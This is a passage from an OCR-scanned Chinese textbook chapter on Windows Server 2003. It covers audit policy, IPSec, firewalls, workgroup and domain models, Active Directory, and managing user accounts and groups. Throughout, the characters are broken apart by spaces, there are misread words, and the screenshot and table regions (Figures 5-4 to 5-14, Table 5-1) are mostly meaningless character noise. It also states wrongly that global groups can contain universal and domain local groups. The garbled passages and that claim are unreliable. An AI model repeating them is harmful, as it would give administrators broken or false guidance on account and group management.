类 别 中 的 成 功 事 件 .账户 管理 事件 类 别 中 的 成 功 事件 .登录 事件 类 别 中 的 成 功 事 件 、 账 户 登 
录 事 件 类 别 中 的 成 功 事件 。 在 执行 审核 策略 之 前 需要 创建 一 个 审核 计划 ,可 以 根据 需要 确 
定 通过 收集 审核 事件 想 要 获得 的 信息 资源 和 类 型 。 如 果 设 置 审核 事件 占用 服务 器 的 存储 空 
间 和 CPU 时 间 不 当 , 可 能 反而 被 攻击 者 利用 进行 拒绝 服务 攻击 。 因 此 ,在 建立 审核 策略 
时 ,应 考虑 生成 的 审核 数量 尽 可 能 少 一 些 ,而 且 从 事件 中 获得 的 信息 的 质量 相对 比较 高 一 
些 , 同 时 占用 系统 的 资源 也 尽量 少 一 些 。 系 统 审核 机 制 可 以 对 系统 中 的 各 类 事件 进行 跟踪 
记录 并 写 入 日 志文 件 ,以 供 管理 员 进 行 分 析 、 查 找 系统 和 应 用 程序 故障 以 及 各 类 安全 事件 。 
当 在 系统 中 启用 安全 审核 策略 后 ,管理 员 应 经 常 查看 安全 日 志 的 记录 ,和 否则 就 失去 了 及 时 补 
救 和 防御 的 时 机 了 。 除 了 安全 日 志 外 ,管理 员 还 要 注意 检查 各 种 服务 或 应 用 的 日 志文 件 。 
在 Windows Server 2003 IIS 6.0 中 ,其 日 志 功 能 默认 已 经 启动 ,并 且 日 志文 件 存放 的 路 径 
默认 在 System32/LogFiles 目录 下 ,打开 IIS 日 志文 件 , 可 以 看 到 对 Web 服务 器 的 HTTP 
请 求 。IIS 6.0 系统 自 带 的 日 志 功 能 从 某 种 程度 上 可 以 成 为 人 侵 检测 的 得 力 帮 手 。 

4. IP 安全 策略 

Internet 协议 安全 性 (IPSec) 是 一 种 开放 标准 的 框架 结构 ,通过 使 用 加 密 的 安全 服务 以 
确保 在 IP 网 络 上 进行 保密 而 安全 的 通信 。 在 分 析 网 络 操作 系统 Windows Server 2003 的 
安全 机 制 时 ,也 应 该 考虑 到 IP 安全 策略 机 制 。 一 个 IPSec 安全 策略 由 IP 筛选 器 和 筛选 器 
操作 两 部 分 构成 ,其 中 IP 秘 选 器 决定 哪些 报 文 应 当 引 起 IPSec 安全 策略 的 关注 ,筛选 器 操 
作 是 指 “ 允 许 ” 还 是 “拒绝 ” 报 文 的 通过 。 要 新 建 一 个 IPSec 安全 策略 ,一般 需要 新 建 IP 筛选 
器 和 筛选 器 操作 。 在 Windows Server 2003 系统 中 ,其 服务 器 产品 和 客户 端 产品 都 提供 了 
对 IPSec 的 支持 ,从 而 增强 了 安全 性 .可 伸缩 性 以 及 可 用 性 ,同时 使 得 配置 部 署 和 管理 更 加 
方便 。 

5. 防火 墙 

防火 墙 是 网 络 安 全 机 制 的 一 个 重要 技术 , 它 在 内 部 网 和 外 部 网 之 间 、 机 器 与 网 络 之 间 建 
立 起 了 一 个 安全 屏障 ,是 Internet 建 网 的 一 个 重要 组 成 部 分 。Windows Server 2003 网 络 操 
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作 系 统 自身 带 有 一 个 可 扩展 的 企业 级 防火 墙 ISA Server。 支 持 两 个 层级 的 策略 : 阵列 级 策 
略 和 企业 级 策略 。 阵 列 策略 包括 站 点 和 内 容 规则 、 协 议 规 则 、IP 数据 包 筛 选 器 `Web 发 布 规 
则 和 服务 器 发 布 规则 。 修 改 阵列 配置 时 ,该 阵列 内 所 有 的 ISA Server 计算 机 也 都 会 被 修 
改 , 包 括 所 有 的 访问 策略 和 缓存 策略 。 企 业 策略 进一步 体现 了 集中 式 管 理 , 它 允许 设置 一 项 
或 多 项 应 用 于 企业 网 阵列 的 企业 策略 。 企 业 策略 包括 站 点 和 内 容 规则 以 及 协议 规则 。 企 业 
策略 可 用 于 任何 阵列 ,而 且 可 通过 阵列 自己 的 策略 进行 扩充 。Windows Server 2003 支持 
ISA Server 2000 ,但 要 安装 补丁 为 ISA Server 升级 。 在 Windows Server 2003 中 ,IP 安全 
监视 器 是 作为 Microsoft 管理 控制 台 (CMMC) 实现 的 ,并 包括 了 一 些 增 强 功能 。IPSec 的 功 
能 得 到 了 很 大 的 增强 ,这 些 增强 的 功能 主要 体现 在 : 支持 使 用 2048 位 Diffie-Hellman 密 钥 
交换 ;支持 通过 Netsh 进行 配置 静态 或 动态 IPSec 主 模式 设置 快速 模式 设置 ,规则 和 配置 
参数 ;在 计算 机 启动 过 程 中 可 对 网 络 通信 提供 状态 可 控 的 筛选 ,从 而 提高 了 计算 机 启动 过 程 
中 的 安全 性 ;IPSec 与 网 络 负载 平衡 更 好 地 集成 等 。 


5.3 Windows Server 2003 的 网 络 模型 
用 户 可 以 用 Windows Server 2003 搭建 网 络 , 以 实现 资源 共享 。 在 Windows Server 
2003 网 络 中 有 两 种 基本 的 组 网 模型 . 工作 组 模型 和 域 模型 。 
5.3.1 工作 组 模型 


如 图 5-1 所 示 , 在 工作 组 模型 的 网 络 中 ,组 是 指 计算 机 的 逻辑 组 合 , 它 把 具有 共同 目的 
的 设置 如 打印 机 \ 硬 盘 供 组 成 员 共 享 ,组 成 员 管 理 自己 的 账号 和 数据 的 安全 性 。 


计算 机 4 
图 5-1 工作 组 的 结构 


网 络 中 没有 专门 的 域 控制 器 和 服务 器 ,网 络 中 的 各 台 计 算 机 都 互 为 其 他 计算 机 的 服务 
器 和 工作 站 ,每 台 计 算 机 上 都 有 自己 的 用 户 和 组 账户 。 这 种 适用 于 用 户 较 少 的 网 络 中 ,缺点 
是 每 台 计 算 机 都 有 自己 的 目录 数据 库 , 用 于 验证 在 自己 计算 机 上 创建 的 本 地 用 户 和 组 账户 ， 
网 络 中 没有 集中 的 账户 管理 , 当 用 户 增多 时 ,效率 会 迅速 降低 。 


5.3.2 域 模型 
1. 域 的 基本 概念 
域 是 指 共 享 公共 账号 数据 库 和 数据 安全 策略 的 计算 机 的 逻辑 组 合 , 提 供 登录 验证 ,并 只 


有 唯一 的 域名 。 服 务 器 和 用 户 的 计算 机 都 在 同一 个 域 中 ,用 户 只 需要 在 域 中 拥有 一 个 域 账 
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户 ,在 域 中 登录 一 次 就 可 以 访问 域 中 的 资源 了 。 域 服务 器 一 般 由 运行 Windows Server 2003 
标准 版 以 上 的 计算 机 组 成 ,如 图 5-2 所 示 。 


图 5-2 域 的 组 成 


2. 域 的 主要 组 成 部 分 

组 成 一 个 域 至 少 需 要 一 台 运 行 Windows Server 2003 的 计算 机 作为 域 控制 器 , 域 控 制 
器 (DC,domain controller) 上 存放 有 域 中 所 有 用 户 、 组 .计算 机 等 信息 。 域 控制 器 就 把 这 些 
信息 存放 在 活动 目录 中 ,活动 目录 实际 上 就 是 一 个 特殊 的 数据 库 ,可 选 的 组 成 部 分 有 : 成 员 
服务 器 和 其 他 计算 机 。 

(1) 域 控制 器 

在 每 个 域 中 都 有 一 个 或 多 个 域 控制 器 ,每 台 域 控制 器 的 地 位 是 相同 的 ,其 他 计算 机 都 要 
与 域 控 制 器 相关 联 , 因 为 域 控制 器 负责 账号 的 集中 管理 和 维护 ,跟踪 域 中 账号 的 改动 。 任 何 
时 候 ,管理 员 对 域 中 任何 一 个 域 控 制 器 的 账号 的 改动 ,都 会 记录 在 该 域 控 制 器 的 活动 目录 
中 ,以 后 该 活动 目录 会 自动 复制 到 其 他 域 控制 器 中 ,以 保持 同一 域 中 不 同 域 控 制 器 之 间 活 动 
目录 的 同步 。 

(2) 成 员 服务 器 

成 员 服 务 器 装 有 的 操作 系统 可 以 是 Windows Server 2003, Windows 2000 Server， 
Windows NT Server。 如 果 要 让 成 员 服 务 器 使 用 域 控 制 器 活动 目录 中 的 账户 登录 , 则 成 员 
服务 器 必须 先 加 入 到 域 中 。 成 员 服 务 器 中 没有 活动 目录 中 的 数据 ,不 负责 审核 域 账户 的 登 
录 信 息 , 但 它 拥 有 一 个 “本 地 安全 数据 库 ? ,可 以 用 来 审核 本 地 账户 信息 。 

(3) 其 他 计算 机 

域 中 还 可 有 其 他 装 有 Windows XP/2000 等 操作 系统 的 计算 机 。 如 果 在 这 些 计算 机 上 
想 利用 活动 目录 内 的 账户 登录 , 则 必须 将 这 些 计 算 机 加 入 到 域 。 


5.4 Windows Server 2003 活动 目录 


活动 目录 (active directory) 起 源 于 Windows NT 4.0, 在 Windows Server 2003 中 得 到 
一 步 的 发 展 和 应 用 。 活 动 目录 是 一 种 存放 信息 的 方式 , 域 控制 器 上 存放 有 域 中 所 有 用 户 、 
组 、 计 算 机 等 信息 。 域 控制 器 就 把 这 些 信 息 存 放 在 活动 目录 中 ,活动 目录 实际 上 就 是 一 个 特 
殊 的 数据 库 。 
活动 目录 是 一 种 目录 服务 ,目录 服务 包括 3 方面 的 功能 : 组 织 网 络 中 的 资源 ,提供 对 资 
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源 的 管理 ,对 资源 的 控制 。 活 动 目录 的 服务 是 通过 把 网 络 中 各 种 资源 的 信息 保存 到 一 个 数 
据 库 中 来 ,为 网 络 中 的 用 户 和 管理 员 提 供 对 这 些 资 源 的 访问 .管理 和 控制 ,这 个 数据 库 叫 活 
动 目录 数据 库 。 

在 计算 机 服务 中 使 用 的 “目录 ”和 现实 生活 使 用 的 “目录 ”很 相似 ,都 是 存储 以 某 种 方式 
相关 联 的 对 象 的 信息 集 , 如 : 通讯 录 存储 用 户 名 称 和 相应 的 电话 号 码 , 还 可 能 包括 关于 该 用 
户 的 地 址 或 其 他 信息 。 

目录 服务 是 用 户 通 过 其 提供 的 服务 来 使 用 目录 中 的 信息 。 一 般 用 于 识别 网 络 上 的 资 
源 ,使 用 户 和 应 用 程序 能 访问 这 些 资源 ,并 将 这 些 资源 的 全 部 信息 集中 存储 、 使 用 和 管理 起 
来 。 因 而 ,简化 了 查找 和 管理 这 些 资源 的 过 程 。 如 共享 网 络 资源 ,没有 目录 服务 的 时 候 只 能 
共享 给 所 有 人 ,有 了 目录 服务 以 后 可 以 有 针对 性 地 将 资源 共享 给 某 些 需要 的 用 户 。 还 有 在 
网 络 上 查找 打印 机 的 时 候 , 可 以 很 快 地 搜索 要 查找 的 打印 机 。 即 使 用 户 不 知道 资源 的 物理 
连接 位 置 ,也 能 够 访问 资源 。 

Windows Server 2003 的 活动 目录 在 逻辑 上 是 由 对 象 、 组 织 单位 、 域 . 域 树 和 域 林 等 构 
成 的 层次 结构 。 

1， 对 象 

对 象 (object) 是 活动 目录 组 织 的 基本 单元 ,可 以 是 用 户 、 计 算 机 、 文 件 以 及 打印 机 等 网 
络 资源 。 

2. 组 织 单位 

组 织 单 位 是 组 织 管 理 一 个 域内 的 对 象 的 容器 , 它 可 以 包容 用 户 、 组 .打印 机 、 计 算 机 和 
其 他 组 织 单位 ,但 是 组 织 单位 不 能 包括 来 自 其 他 域 的 对 象 。 

3. 域 

域 (domain) 是 活动 目录 中 最 基本 的 元 素 。 活 动 目录 可 以 由 一 个 或 者 多 个 域 组 成 ,每 个 
域 都 拥有 其 独立 的 安全 策略 以 及 与 其 他 域 之 间 的 信任 关系 。 一 个 域 由 域 控制 器 和 成 员 计 算 
机 组 成 。 域 控制 器 就 是 安装 了 活动 目录 服务 的 一 台 计 算 机 。 在 域 控制 咒 上 ,每 一 个 成 员 计 
算 机 都 有 一 个 计算 机 账号 ,每 一 个 域 用 户 有 一 个 域 用 户 账 号 。 域 管理 员 可 以 在 域 控 制 咒 上 
实现 对 域 用 户 账 号 和 计算 机 账号 以 及 其 他 资源 的 管理 。 域 还 是 一 种 复制 单位 ,在 域 中 可 以 
安装 多 台 域 控制 器 , 域 管理 员 可 以 在 任何 一 台 域 控制 器 上 创建 和 修改 活动 目录 对 象 。 域 控 
制 器 之 间 可 以 自动 地 同步 ,或 者 是 采用 复制 这 样 一 种 更 新 方式 。 

4. 域 树 -AN 

域 树 (domain tree) 也 称 域 目录 树 ,是 由 根 域 和 子 域 以 及 子 域 
的 子 域 所 组 成 的 一 种 逻辑 结构 , 域 树 实 现 了 连续 的 域名 空间 , 域 
树 上 的 域 共享 相同 的 DNS 域名 后 级 。 域 树 的 第 一 个 域 是 该 域 的 hirooteon 
根 (root) ,同一 域 树 的 额外 域 为 子 域 ,其 上 层 域 为 父 域 ,如 图 5-3 
所 示 。 grandchild.root.com 

5. 域 林 图 5-3 域 树 

域 林 (domain forest) ,是 由 多 棵 域 树 组 成 的 。 在 一 个 树 的 内 
部 , 父 域 和 子 域 之 间 是 相互 信任 的 ,这 种 信任 关系 称 为 父子 信任 。 在 一 个 森林 内 部 , 树 和 树 
之 间 也 是 相互 信任 的 ,这 种 信任 关系 称 为 树 根 信任 。 森 林 中 的 信任 关系 是 双向 可 传递 的 , 双 
向 指 的 是 信任 是 相互 的 ,而 可 传递 指 的 是 域 和 域 之 间 可 以 通过 这 种 信任 关系 来 建立 起 一 种 
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间接 的 信任 。 有 了 这 些 信 任 关系 后 , 当 一 个 域 中 的 用 户 登 录 之 后 ,他 可 以 在 整个 森林 范围 内 
来 访问 其 他 域 中 的 资源 。 

部 署 活动 目录 服务 的 关键 是 安装 和 配置 域 控制 器 ,前 提 是 做 好 活动 目录 的 规划 ,主要 规 
划 以 下 内 容 : 

(1) 规划 活动 目录 

主要 是 规划 DNS 名 称 空间 和 域 结构 ,必要 时 还 要 规划 组 织 单位 。 

(2) 安装 域 控制 器 

域 中 的 服务 器 要 么 充当 域 控制 器 ,要 么 充当 成 员 服务 器 。 

(3) 将 计算 机 添加 到 域 

Windows 2000/XP/2003 计算 机 需要 加 入 到 域 , 才 能 享用 活动 目录 的 好 处 ,加 入 到 域 中 
的 计算 机 统称 为 域 成 员 计算 机 。 

活动 目录 具有 以 下 非常 明显 的 优点 : 

(1) 与 DNS 集成 

活动 目录 使 用 域名 系统 (DNS)。DNS 是 一 种 Internet 标准 服务 , 它 将 用 户 能 够 读 取 的 
计算 机 名 称 ( 例 如 buu. edu. cn) 翻译 成 计算 机 能 够 读 取 的 数字 Internet 协议 (IP) 地 址 。 这 
样 ,在 TCP/IP 网 络 计 算 机 上 运行 的 进程 即 可 相互 识别 并 进行 连接 。 

(2) 采用 对 象 的 方式 管理 

活动 目录 可 对 网 络 上 的 资源 全 部 以 对 象 方式 进行 管理 。 管 理 员 可 以 在 任何 一 台 计 算 机 
上 登录 ,进而 管理 网 上 任何 一 台 机 器 上 的 对 象 。 对 象 分 为 对 象 类 和 对 象 的 属性 ,以 便于 对 资 
源 管 理 和 控制 。 创 建 对 象 时 ,属性 就 存储 了 描述 该 对 象 的 信息 。 如 用 户 类 ,包含 许多 属性 ， 
如 用 户 名 属性 描述 属性 .电话 号 码 属性 等 。 

(3) 增强 的 安全 性 

由 于 与 活动 目录 集成 ,不 仅 可 在 目录 中 的 每 个 对 象 上 定义 访问 控制 权限 ,而 且 还 可 在 每 
个 对 象 的 属性 上 定义 访问 控制 权限 。 

(4) 智能 信息 复制 能 力 

活动 目录 使 用 多 主机 复制 ,可 以 在 任何 域 控 制 器 上 而 不 是 单个 主 域 控制 器 上 同步 更 新 
目录 。 


5.5 Windows Server 2003 的 账户 管理 


5.5.1 账户 的 基本 概念 


活动 目录 用 户 和 计算 机 管理 器 中 的 账号 标识 的 是 一 个 物理 实体 ,如 计算 机 或 用 户 ,计算 
机 和 用 户 的 账号 在 它们 登录 到 网 络 或 访问 域 中 的 资源 时 ,提供 安全 信任 。 账 号 可 以 用 于 验 
证 计算 机 或 用 户 的 身份 .允许 访问 域 中 资源 和 审核 用 户 或 计算 机 账号 的 活动 。 

1. 用 户 账号 

用 户 账 号 能 够 让 用 户 以 授权 的 身份 登录 到 计算 机 和 域 中 并 访问 其 中 的 资源 。 用 户 账 号 
也 可 以 作为 某 些 软件 的 服务 账号 。 

2. 计算 机 账号 

每 一 个 运行 Windows 系统 的 计算 机 在 加 入 到 域 时 都 需要 一 个 计算 机 账号 ,就 像 用 户 
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账号 一 样 ,被 用 来 验证 和 审核 计算 机 的 登录 过 程 和 访问 域 资源 。 

3. 组 

组 是 可 包含 用 户 、 联 系 人 、 计 算 机 和 其 他 组 的 活动 目录 或 本 机 对 象 。 使 用 组 可 以 管理 用 
户 和 计算 机 对 活动 目录 对 象 及 其 属性 、 网 络 共享 位 置 文件 目录、 打印 机 列队 等 共享 资源 的 
访问 。 

可 以 利用 将 用 户 加 入 到 组 中 的 方式 ,简化 网 络 的 管理 工作 。 当 用 户 对 组 设置 了 权限 后 , 则 
组 中 所 有 的 用 户 就 具有 了 该 权限 ,这 样 避免 用 户 对 每 一 个 用 户 设置 权限 ,从 而 减轻 了 工作 量 。 

根据 组 的 作用 范围 的 不 同 ,可 以 将 组 分 为 3 种 类 型 : 通用 组 、 全 局 组 和 域内 本 地 组 。 通 
用 组 可 以 包含 当前 域 森 林 中 任何 一 个 域 中 的 成 员 ,通常 为 需要 访问 其 他 域 的 资源 的 用 户 而 
创建 ;全 局 组 可 以 访问 森林 中 任何 一 个 域 的 资源 ,全 局 组 可 以 包含 通用 组 、 全 局 组 和 域 本 地 
组 ; 域 本 地 组 只 能 包含 某 个 域 的 成 员 , 只 能 在 该 域 中 被 赋予 访问 权限 ,其 成 员 不 能 是 全 局 组 
或 通用 组 中 的 用 户 。 

Windows Server 2003 中 预定 义 的 组 有 : 

(1) Administrators( 管 理 员 ); 

(2) Users( 用 户 ); 

(3) Account Operators( 账 户 操 作 器 ); 

(4) Backup Operators( 备 份 操作 器 ); 

(5) Print Operators( 打 印 操 作 器 ); 

(6) Server Operators( 服 务 器 操作 器 ); 

(7) Replicators( 复 制 器 ); 

(8) Guests( 来 宾 账 户 ); 

(9) Domain Admins( 域 管理 ); 

(10) Domain Users( 域 用 户 ); 

(11) Everyone( 每 一 个 )。 


5.5.2 用 户 账户 管理 


在 Windows Server 2003 操作 系统 中 ,每 一 个 使 用 者 都 必须 有 一 个 账号 ,才能 登录 到 计 
算 机 和 服务 器 ,并 且 访 问 网 络 上 的 资源 。 

Windows Server 2003 所 支持 的 用 户 账户 分 为 两 种 类 型 : 本 地 用 户 账号 和 域 用 户 账号 。 
其 中 , 域 用 户 账号 存储 在 域 控 制 器 的 活动 目录 数据 库 中 ;本 地 用 户 账号 存储 在 非 域 控制 器 的 
本 地 安全 账户 数据 库 中 。 两 类 账号 的 比较 见 表 5-1。 

Windows Server 2003 操作 系统 自 带 的 常见 的 内 置 用 户 账号 有 : Administrator( 系 统管 
理 员 ,拥有 最 高 的 权限 ,管理 计算 机 或 域内 的 设置 ) .Guest( 客 户 ,供用 户 临 时 使 用 )。 这 两 类 
用 户 账户 不 允许 被 删除 ,但 允许 更 名 。 此 外 ,Administrator 账号 不 允许 被 屏蔽 ，Guest 账号 
一 般 被 屏蔽 。 

1. 本 地 用 户 账 号 的 创建 与 管理 

本 地 用 户 账 号 创建 在 Windows Server 2003 成 员 服 务 器 或 独立 服务 器 的 “本 地 安全 账 
户 数据 库 ” 中 ,而 不 是 在 域 控制 器 的 活动 目录 数据 库 中 。 用 户 可 以 使 用 本 地 账户 登录 该 账号 
所 在 的 计算 机 访问 该 计算 机 内 的 资源 ,但 无 法 登录 域 访问 网 络 上 其 他 计算 机 内 的 资源 。 
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表 5-1 域 用 户 账号 和 本 地 用 户 账号 的 比较 


可 以 创建 此 类 SAM(security account manager， A 
范 安全 标识 
人 账号 的 计算 机 作用 范 团 安全 账号 管理 ) 的 位 置 安全 标识 
独立 的 服务 器 .成 员 服 | 
六 账号 的 
au 务 器 或 者 基于 Windows | 全 | 并 训 本 机 有 
了 | 的 其 他 计算 机 2 
可 以 内 城中 任何 一 
DC (区 

ee DC( 域 控制 器 ) 计算 机 上 登录 ,访问 ra 有 

域 中 资源 。 域 中 唯一 


建议 仅 在 未 加 入 域 的 计算 机 内 创建 本 地 用 户 账 号 ,如 果 用 户 的 计算 机 隶属 于 域 , 则 应 该 
为 这 些 用 户 在 域 控 制 器 上 创建 用 户 账号 ,然后 要 求 用 户 用 这 些 账号 登录 。 即 在 域 的 环境 下 ， 
用 户 账 户 最 好 都 创建 在 域 控制 器 的 活动 目录 数据 库 内 。 

在 Windows Server 2003 中 ,创建 本 地 用 户 账号 的 途径 为 : 单 击 “开始 ”| “管理 工具 ?| 
“计算 机 管理 ”, 然 后 在 图 5-4 所 示 的 窗口 中 右 击 * 用 户 ?| * 新 用 户 ”。 出 现 图 5-5 所 示 的 对 话 
框 ,输入 相关 信息 , 单 击 “ 创 建 ” 即 可 。 


旦 计算 机 管理 =| 口 | x| 
| 所 人 查看 W | | 名 消 | 四 | 困 | 加 | 国 | 


占用 户 
加 组 


Ei 移动 和 人 
田 臣 8 服务 和 应 用 程序 


图 5-4 ”创建 本 地 用 户 账号 


EEE xl 
RPSW an 
全 名 外 : FE 
描述 四 ): [85 


密码 邓 ): -= | 
确认 密码 C); Eee 
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可 以 在 “计算 机 管理 ”|“ 用 户 ” 子 窗口 中 看 到 新 创建 的 账号 ,如 图 5-6 所 示 。 


[el 
上 操作 (8) 查看 内 || 所 沙 | 因 | 四 | 国葬 | 多 


树 | 器 们 后 证 
加 HM 管理 计算 机 ( 域 ) 的 内 置 帐户 
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图 5-6 新 建成 功 的 账号 


如 果 要 更 改 账号 名 称 , 则 右 击 该 账户 , 重 命名 即 可 。 如 果 要 更 改 账号 密码 , 按 下 Ctrl 十 
Alt 十 Del 键 后 ,在 弹出 的 窗口 中 按 提示 先 输入 正确 的 旧 密 码 ,然后 再 输入 新 密码 。 


FEE x 如 果 忘 记 了 本 地 账号 密码 , 则 由 系统 管理 员 通 
新 密码 中 ett 过 右 击 图 5-6 中 的 账户 名 称 ,选择 重 设 密 码 的 途径 
J 来 更 改 账 号 的 密码 。 如 图 5-7 所 示 。 
厂 用 户 下 次 登录 时 须 更 改 密码 Q) 
要 使 更 改 生 效 ， 用 户 必 须 广 销 ， 类 后 重新 车 录 。 2. 域 用 户 账 号 的 创建 与 管理 
一 取 消 | 用 户 可 以 通过 “管理 工具 ”| “Active Directory 
图 5-7 重 设 密码 用 户 和 计算 机 ”控制 台 来 创建 和 管理 域 用 户 账号 ,如 


图 5-8 所 了 示 。 当 用 户 通过 这 个 控制 台 创建 账号 时 ， 
该 账号 会 被 创建 在 控制 台 找 到 的 第 一 台 域 控制 器 内 ,以 后 该 账号 会 被 自动 地 复制 到 该 域内 
的 所 有 域 控制 器 内 。 


如 查看 WD 窗口 中 


帮助 人 0 


Active Directory 用 户 和 计算 机 | Vsers ”15 个 对 象 
田 加 保存 的 查询 
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由 加 Builtin 级 Cert Publi 安全 组 - 本 ， 此 组 的 成 员 被 允许 发 行 
Computers en 安全 姐 - 本 TNS 管理 员 姐 


0 DnsUpdateP. .安全 组 - 全 局 。 允许 莹 其 他 客户 冰 80 
用品 oopSecwityPrineipd BDonsin Adnins 安全 组 - 全 局 。 指定 的 城管 理 员 
Domain Com. . 。 安全 组 - 全 局 。 加 入 到 域 中 的 所 有 工作 . 
Domain Con. . ”安全 组 - 全 局 。 域 中 所 有 域 控制 器 
Donain Guests 安全 组 - 全 局 。 域 的 所 有 来 宾 
强 bosin Users 安全 组 - 全 局 。 所 有 域 用 户 
Enterprise. .安全 组 - 全 局 。 企业 的 指定 系统 管理 员 
Group Poli. .安全 钥 - 全 局 。 这 个 组 中 的 成 员 可 以 修 
Guest 用 户 供 来 宾 访问 计算 机 或 访 
RAS and IA .安全 组 - 本 这 个 组 中 的 服务 器 可 以 .. 
加 | 绚 schema hdnins 安全 组 - 全 局 。 架构 的 指定 系统 管理 员 。 ”到 


I | 
图 5-8 Active Directory 用 户 和 计算 机 控制 台 


| 


(1) 新 建 域 用 户 账号 
用 户 右 击 Users1“ 新 建 对 象 -用 户 ”, 在 弹出 的 对 话 框 中 输入 新 建 的 域 用 户 账号 信息 ,如 
。 160 。 


图 5-9 所 示 ,然后 单 击 “ 下 一 步 ”, 输 入 密码 ,如 图 5-10 所 示 , 也 可 以 选择 不 填写 密码 并 勾 选 
“用 户 下 次 登录 时 须 更 改 密码 ”选项 ,以 便 让 用 户 在 第 一 次 登录 时 修改 密码 。 在 “完成 ”对 话 
框 会 显示 以 上 设置 的 信息 , 单 击 “ 完 成 ”, 则 完成 了 域 用 户 账号 的 创建 工作 。 

到 
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图 5-9 新 建 对 象 -用 户 


(2) 管理 域 用 户 账 号 

@ 修改 用 户 的 信息 

域 用 户 创建 完成 之 后 ,可 以 右 击 “ 账 号 名 ”|“ 属 性 ”来 修改 用 户 的 个 人 信息 。 在 用 户 属性 
对 话 框 中 的 “常规 ?选项 卡 中 可 以 输入 有 关 用 户 的 描述 .办公室 .电话 .电子 邮件 地 址 及 个 人 
主页 地 址 ;在 “地 址 ?选项 卡 中 输入 用 户 的 所 在 地 区 及 通信 地 址 ;在 “电话 ?选项 卡 中 输入 有 关 
用 户 的 家 庭 电话 、 寻呼机、 移动 电话 传真 .IP 电话 及 相关 备注 信息 。 这 样 便于 用 户 以 后 在 
活动 目录 中 查找 用 户 并 获得 相关 信息 ,如 图 5-11 所 示 。 


到 区 
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图 5-10 输入 新 建 用 户 密码 图 5-11 设置 用 户 属性 


@ 设置 用 户 登 录 时 间 
在 用 户 属性 对 话 框 中 , 单 击 对 话 框 中 的 “账户 ”标签 ,在 此 选项 卡 中 单 击 “ 登 录 时 间 ” 按 
钮 ,启动 “六 (用 户 名 ) 的 登录 时 段 ” 对 话 框 窗口 。 可 以 看 到 利用 蓝 色 标记 的 区 域 为 允许 用 户 
“ Lol s 


登录 的 时 间 段 ,其 他 时 间 段 则 不 能 进行 登录 。 系 统 默认 的 用 户 登 录 时 间 为 任意 时 段 ,因此 ， 
如 果 需 要 设置 用 户 的 登录 时 间 段 , 则 可 以 首先 利用 鼠标 拖 动 的 方法 选取 待 设置 为 不 允许 登 
录 的 时 间 段 组 合 , 然 后 选中 “拒绝 登录 ” 单 选 按 钮 ,如 图 5-12 所 示 。 
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图 5-12 设置 账户 登录 时 间 


在 设置 账号 属性 时 要 注意 :“ 登 录 时 间 ” 只 限制 登录 到 域 中 的 时 间 ;“ 登 录 到 ”在 选 
定 “ 计 算 机 名 ”时 ,只 能 输入 计算 机 的 NetBIOS 名 ,不 能 输入 DNS 或 IP 地 址 ;账户 过 
期 ”选项 ,只 限定 在 该 日 期 之 后 登录 到 域 的 请 求 ,如 果 一 直 登 录 在 域 中 没有 注销 , 则 不 
会 自动 注销 。 

一 般 的 域 用 户 账号 只 能 登录 域 中 的 非 域 控制 器 的 计算 机 系统 ,要 想 用 一 般 的 域 用 户 账 
号 登录 域 控 制 器 ,该 账号 必须 在 控制 器 上 被 赋予 “允许 本 地 登录 ?的 权利 。 这 个 权利 可 以 用 
“ 域 控制 器 安全 策略 进行 设置 。 在 扮演 域 控制 器 的 计算 机 上 , 单 击 “ 开 始 ”| ”管理 工具 ”| * 域 
控制 器 安全 策略 ”1“ 安 全 设置 "1“ 本 地 策略 ”1“ 用 户 权 限 分 配 ”"。 在 详细 信息 窗 格 中 ,双击 “ 允 
许 在 本 地 登录 ”。 如 果 尚 未 定义 此 安全 设置 ,请 勾 选 “ 定 义 这 些 策略 设置 " 复 选 框 ,然后 单 击 
“添加 用 户 或 组 ”。 在 “添加 用 户 或 组 ”中 ,指定 将 被 授予 在 本 地 登录 权限 的 用 户 或 组 ,然后 单 
击 “ 确 定 ” 两 次 。 设 置 完 成 后 ,必须 让 域 控制 器 重新 启动 ,以 便 让 这 些 安全 设置 在 域 控制 器 内 
生效 。 

可 以 通过 “Active Directory 用 户 和 计算 机 ?控制 台 管理 用 户 账户 。 例 如 ,禁用 账号 、 启 
用 账号 .删除 账号 .修改 密码 和 解除 锁定 账号 等 。 

@ 组 的 管理 

a. 创建 新 组 

。 打开 “Active Directory 用 户 和 计算 机 ”。 

。 在 控制 台 树 中 , 右 击 要 在 其 中 添加 新 组 的 文件 夹 。 

。 位置 : 要 添加 新 建 的 文件 夹 的 位 置 在 控制 台 树 的 “Active Directory 用 户 和 计算 机 ” 

选项 下 的 “正常 节点 ”选项 下 的 “文件 夹 ” 选 项 中 。 

。 指向 “新 建 ”, 然 后 单 击 “ 组 ”。 

.162 ， 


。 输入 新 组 的 名 称 。 
。 在 “组 作用 域 " 中 ,选中 某 个 选项 。 
。 在 “组 类 型 ?中 ,选中 某 个 选项 。 如 图 5-13 所 示 。 
x| 
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图 5-13 创建 新 组 


b. 将 用 户 添 加 到 组 

。 打开 “Active Directory 用 户 和 计算 机 ”。 

。 在 控制 台 树 中 , 单 击 某 个 文件 夹 ,该 文件 夹 包 含 要 在 其 中 添加 成 员 的 组 。 

。 位 置 : 要 添加 新 建 的 文件 夹 的 位 置 在 控制 台 树 的 “Active Directory 用 户 和 计算 机 ” 
选项 下 的 “正常 节点 ”选项 下 的 “文件 夹 ” 选 项 中 。 

。 右 击 详 细 信 息 窗 格 中 的 组 ,然后 单 击 “ 属 性 ”。 

在 “成 员 ” 选 项 卡 上 , 单 击 “ 添 加 ”。 

在 “输入 名 称 , 用 分 号 隔 开 ;或 从 列表 中 选择 ”中 ,输入 要 添加 到 组 的 用 户 、 组 或 计算 

机 的 名 称 ,然后 单 击 “ 确 定 ”, 如 图 5-14 所 示 。 
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图 5-14 将 用 户 添 加 到 组 
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c. 将 组 转换 为 另 一 种 组 类 型 

。 打开 “Active Directory 用 户 和 计算 机 ”。 

。 在 控制 台中 , 左 击 包 含 要 转换 为 男 一 种 组 类 型 的 组 的 文件 夹 。 

。 位置 : 要 添加 新 建 的 文件 夹 的 位 置 在 控制 台 树 的 “Active Directory 用 户 和 计算 机 ” 
选项 下 的 “正常 节点 ”选项 下 的 “文件 夹 ” 选 项 中 。 

。 右 击 详 细 信 息 窗 格 中 的 组 ,然后 单 击 “ 属 性 ”。 

。 在 “常规 ?选项 卡 的 “组 类 型 ?中 , 单 击 组 类 型 进行 组 的 类 型 转换 。 


5.6 Windows Server 2003 系统 的 访问 控制 与 权限 


5.6.1 Windows Server 2003 文件 系统 (NTFS) 


